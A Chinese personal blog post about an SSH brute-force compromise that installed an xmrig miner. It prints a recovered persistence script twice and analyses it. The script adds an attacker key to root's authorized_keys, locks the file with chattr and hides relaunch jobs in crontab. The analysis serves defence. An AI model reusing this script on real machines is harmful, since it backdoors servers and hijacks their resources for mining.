昨天,我一台服务器的 CPU 占用率超过了 80%(那台服务器并没有被用于任何项目),登录 Cockpit 一看日志,从 2022 年 1 月 12 日 下午 7:01 到 2022 年 1 月 12 日 下午 10:04 一直有 sshd 的登陆错误报告,10:04 之后就没了,心想不好,一看 cpu99% 就知道出事了
检测
这台服务器并没有 log4j 0day 的漏洞(java 都没有),只有可能是被跑字典了,并且当时密码也用的弱密码(笑),估计是个脚本小子干的,然后直接一个 top,好家伙 xmrig 藏都不藏的,直接进去就把目录删了,暗想不对,反手进行一个
ps -aux | grep xmrig
很快啊,啥都出来了,返回了一个脚本,是用一个不明的文件 -c 调用的一个脚本,后悔当时直接抄了家,没有留个底,,
只剩下一个脚本可以分析了,这个脚本让代码格式化直呼我不理解,原代码在文末附上,这里放已经被我缴械的代码(
#!/bin/bash
sshkey="ssh-rsa QWQ localhost"
FOLDER="$(cat /var/tmp/.logs/.xmr)"
sshkeyset() {
if [ $(id -u) = 0 ];
then if [ -f "/root/.ssh/authorized_keys" ];
then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ;
then chattr -i -a -j -t -d -u /root ;
chattr -i -a -j -t -d -u /root/.ssh ;
chattr -i -a -j -t -d -u /root/.ssh/authorized_keys
echo $sshkey >> "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
fi
else
if [ -d "/root/.ssh" ];
then
chattr -i -a -j -t -d -u /root/.ssh
echo $sshkey >> "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
else
chattr -i -a -j -t -d -u /root
mkdir "/root/.ssh"
echo $sshkey >> "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
fi
fi
fi
}
cronjob() {
if ! crontab -l | grep -q 'updat3';
then rm -rf $FOLDER/.tempo
echo "@daily $FOLDER/start" >> $FOLDER/.tempo
sleep 1
echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo
sleep 1
echo "@monthly $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo
sleep 1
crontab $FOLDER/.tempo
sleep 1
rm -rf $FOLDER/.tempo
fi
}
delete(){
if [ -f $FOLDER/config.json ];
then rm -rf $FOLDER/config.json
sleep 1
killall xmrig
pkill xmrig
fi
}
while :
do
sshkeyset
sleep 1
cronjob
sleep 1
delete
sleep 1
$FOLDER/1
sleep 60
done /var/tmp/.mint-xmr/updat3
解析
缴械过后的代码就扔在上面的,代码中的公钥我出于对隐私的一个保护隐去了(确信),我们来分析一下这个代码中的函数(不得不说这个代码还是写的算聪明)
首先将 FOLDER
赋值为当前程序的执行目录,然后便是 sshkeyset()
这个函数了,顾名思义,是设置 ssh 公钥以便攻击者登入的。
在这里,if [ $(id -u) = 0 ];
判断了当前用户是否为 root 用户(Linux 下 root 用户 id 为 0),然后判断本机中有没有自己的 sshkey,如果没有就将公钥写入 authorized_keys 文件中(保存公钥用),它先对 authorized_keys 文件进行解锁,避免无法写入,写入后也记得上锁了,点名表扬(bushi
然后是 cornjob()
这,它判断了 corntab 上是否已有自己的程序,如果没有就删除掉.tempo
这个文件(存了它的 corntab 配置信息),然后就是写入自启动(还是隐藏的),但是我机器上没有 corntab,可喜可贺,可喜可贺。
然后是 delete()
函数,它提供了挖矿程序的关闭和自攻(确信),这里不用细说
最后就是重复执行了,用 while 进行循环执行所有函数,也是我没看懂的一个地方,你挖矿就挖矿还留销毁程序干嘛(笑
尾声
最近摸鱼的比较多所以没怎么更新,处理完了这玩意儿,想着挺有趣的就更了一篇,如果我对代码理解有误也请各位大佬多多指正了(笑
最后叮嘱各位,不要在可能暴露在公网的服务器上使用弱密码(
#!/bin/bash sshkey="ssh-rsa 对隐私进行一个保护 localhost" FOLDER="$(cat /var/tmp/.logs/.xmr)" ########### sshkeyset() { ?if [ $(id -u) = 0 ]; then ??if [ -f "/root/.ssh/authorized_keys" ]; then ???if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then ????chattr -i -a -j -t -d -u /root ; chattr -i -a -j -t -d -u /root/.ssh ; chattr -i -a -j -t -d -u /root/.ssh/authorized_keys ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/authorized_keys ???fi ??else ???if [ -d "/root/.ssh" ]; then ????chattr -i -a -j -t -d -u /root/.ssh ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/authorized_keys ???else ????chattr -i -a -j -t -d -u /root ????mkdir "/root/.ssh" ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/authorized_keys ???fi ??fi ?fi } cronjob() { ?if ! crontab -l | grep -q 'updat3'; then ??rm -rf $FOLDER/.tempo ??echo "@daily $FOLDER/start" >> $FOLDER/.tempo ??sleep 1 ??echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo ??sleep 1 ??echo "@monthly $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo ??sleep 1 ??crontab $FOLDER/.tempo ??sleep 1 ??rm -rf $FOLDER/.tempo ?fi } delete() { ?if [ -f $FOLDER/config.json ]; then ??rm -rf $FOLDER/config.json ??sleep 1 ??killall xmrig ??pkill xmrig ?fi } while : do ?sshkeyset ?sleep 1 ?cronjob ?sleep 1 ?delete ?sleep 1 ?$FOLDER/1 ?sleep 60 done /var/tmp/.mint-xmr/updat3
了解 Paradise Lost 的更多信息
Subscribe to get the latest posts sent to your email.
Comments NOTHING